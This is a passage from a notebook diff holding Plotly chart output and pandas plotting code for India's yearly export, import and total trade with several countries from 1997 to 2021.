"outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 1331.01, - 1425.82, - 3222.11, - 448.44, - 650.26, - 527.21, - 641.13, - 693.07, - 946.5, - 7912.05, - 8697.43, - 10429.61, - 8696.57, - 12886.65, - 17459.78, - 14826.15, - 16765.59, - 16364.34, - 12171.07, - 9423.59, - 11756.26, - 13889.92, - 13823.51, - 8807.27, - 10817.27 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "NIGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1331.01, - 1425.82, - 3222.11, - 448.44, - 650.26, - 527.21, - 641.13, - 693.07, - 946.5, - 7912.05, - 8697.43, - 10429.61, - 8696.57, - 12886.65, - 17459.78, - 14826.15, - 16765.59, - 16364.34, - 12171.07, - 9423.59, - 11756.26, - 13889.92, - 13823.51, - 8807.27, - 10817.27 - ] - }, - { - "mode": "lines", - "name": "NORFOLK IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.16, - 0.76, - 0, - 0.26, - 0, - 0.18, - 0.22, - 0.56, - 0.91, - 1.21, - 0.92, - 0.92, - 0.38, - 1.03, - 1.56, - 0.19, - 0.4, - 0.3, - 0.84, - 0.33, - 0.78, - 0.46, - 0.41 - ] - }, - { - "mode": "lines", - "name": "NORWAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 175.03, - 121.87, - 94.33, - 107.24, - 102.27, - 167.78, - 378.71, - 338.89, - 419.55, - 952.88, - 1905.2, - 1514.4, - 1136.26, - 1140.84, - 1185.2, - 1179.59, - 974.22, - 1264.52, - 1127, - 811.68, - 1202.06, - 679.53, - 1052.4, - 996.14, - 2069.61 - ] - }, - { - "mode": "lines", - "name": "OMAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 141.76, - 141.22, - 195.01, - 150.95, - 157.47, - 212.44, - 309.87, - 288.28, - 674.02, - 1089.87, - 2080.88, - 1984.5, - 4532.82, - 5084.31, - 4668.08, - 4609.21, - 5763.45, - 4131.69, - 3865.66, - 4018.79, - 6703.76, - 5005.3, - 5931.14, - 5443.22, - 6507.82 - ] - }, - { - "mode": "lines", - "name": "PAKISTAN IR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 187.6, - 320.55, - 161.16, - 250.86, - 208.76, - 251.01, - 344.59, - 616.03, - 868.79, - 1673.71, - 2238.5, - 1810.05, - 1849.26, - 2372.05, - 1939.21, - 2606.66, - 2701.15, - 2354.49, - 2612.2, - 2276.36, - 2412.83, - 2561.44, - 830.58, - 329.26, - 376.64 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[15]]['Year(start)'], y=df[df['Country']==country.index[15]]['Total Trade'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(15,20):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[15]]['Year(start)'], y=df[df['Country']==country.index[15]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(15,20):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[15]]['Year(start)'], y=df[df['Country']==country.index[15]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(15,20):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 19, - "id": "c51277b3-5c84-447a-9e42-1d51cc437c2b", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 39.98, - 25.1, - 31.74, - 65.65, - 43.22, - 49.21, - 54.55, - 55.95, - 63.05, - 165.6, - 68.43, - 123.22, - 78.09, - 124.16, - 232.17, - 226.49, - 211.4, - 302.4, - 201.41, - 220.21, - 227.05, - 227.26, - 238.52, - 151.88, - 281.59 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "PANAMA REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 39.98, - 25.1, - 31.74, - 65.65, - 43.22, - 49.21, - 54.55, - 55.95, - 63.05, - 165.6, - 68.43, - 123.22, - 78.09, - 124.16, - 232.17, - 226.49, - 211.4, - 302.4, - 201.41, - 220.21, - 227.05, - 227.26, - 238.52, - 151.88, - 281.59 - ] - }, - { - "mode": "lines", - "name": "PAPUA N GNA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.4, - 3.44, - 5.37, - 4.51, - 10.26, - 5.07, - 4.69, - 14.28, - 9.21, - 10.69, - 14.8, - 19.99, - 17.58, - 21.95, - 35.9, - 29.77, - 43.96, - 52.19, - 39.45, - 36.28, - 41.93, - 49.72, - 56.02, - 56.17, - 51.59 - ] - }, - { - "mode": "lines", - "name": "PARAGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.59, - 5.89, - 6.88, - 8.27, - 7.17, - 6.83, - 10.57, - 12.01, - 16.38, - 27.28, - 46.3, - 39, - 37.05, - 41.53, - 66.93, - 82.94, - 88.91, - 106.48, - 98.13, - 125.03, - 168.43, - 160.71, - 126.96, - 160.81, - 166.06 - ] - }, - { - "mode": "lines", - "name": "PERU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 21.62, - 23.51, - 32.85, - 26.32, - 35.07, - 49.69, - 38.01, - 68.82, - 84.26, - 125.64, - 288.44, - 308.31, - 274.33, - 417.6, - 564.29, - 637.93, - 620.55, - 819.86, - 703.12, - 696.42, - 760.68, - 721.03, - 764, - 764.69, - 680.54 - ] - }, - { - "mode": "lines", - "name": "PHILIPPINES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 238.72, - 118.74, - 143.53, - 202.61, - 247.79, - 472, - 321.53, - 412.23, - 494.66, - 580.98, - 620.32, - 743.77, - 748.77, - 881.1, - 992.91, - 1187.19, - 1419, - 1395.58, - 1353.34, - 1482.52, - 1692.83, - 1743.64, - 1526.03, - 1457.3, - 1580.38 - ] - }, - { - "mode": "lines", - "name": "POLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 87.43, - 93.06, - 91.66, - 86.22, - 108.31, - 105.64, - 134.21, - 176.3, - 226.96, - 306.57, - 447.45, - 518.45, - 421.13, - 666.22, - 787, - 810.85, - 995.5, - 1050.79, - 1025.3, - 1197.81, - 1541.36, - 1572.8, - 1548.11, - 1652.67, - 1949.23 - ] - }, - { - "mode": "lines", - "name": "MONGOLIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.01, - 1.7, - 2.26, - 1.36, - 0.53, - 0.71, - 0.81, - 1.35, - 1.17, - 2.34, - 7.56, - 15.73, - 7.98, - 20.77, - 34.97, - 23.66, - 15.53, - 7.92, - 8.44, - 9.78, - 20.49, - 22.81, - 16.27, - 18.98, - 19.65 - ] - }, - { - "mode": "lines", - "name": "MEXICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 111.08, - 130.2, - 140.89, - 208.51, - 237.45, - 261.55, - 264.42, - 368.58, - 443.07, - 535.97, - 592.35, - 659.51, - 596.18, - 912.77, - 1367.37, - 1628.24, - 2227.44, - 2861.55, - 2865.13, - 3460.98, - 3782.79, - 3841.57, - 3623.71, - 3086.67, - 3307.32 - ] - }, - { - "mode": "lines", - "name": "KAZAKHSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 15.13, - 38, - 27.19, - 50.08, - 45.7, - 46.88, - 74.81, - 81.42, - 90.86, - 83.18, - 111.99, - 131.68, - 136.54, - 172.16, - 244.39, - 286.23, - 261.51, - 250.68, - 151.91, - 120.88, - 125.37, - 143.13, - 202.59, - 225.96, - 153.04 - ] - }, - { - "mode": "lines", - "name": "LIECHTENSTEIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.1, - 0.02, - 0.07, - 0.02, - 0.34, - 0.33, - 0.48, - 0.47, - 0.34, - 0.7, - 0.17, - 4.92, - 0.06, - 0.16, - 0.14, - 0.27, - 0.32, - 0.19, - 0.82, - 0.73, - 2.8, - 3.4, - 4.36, - 3.76, - 1.71 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": 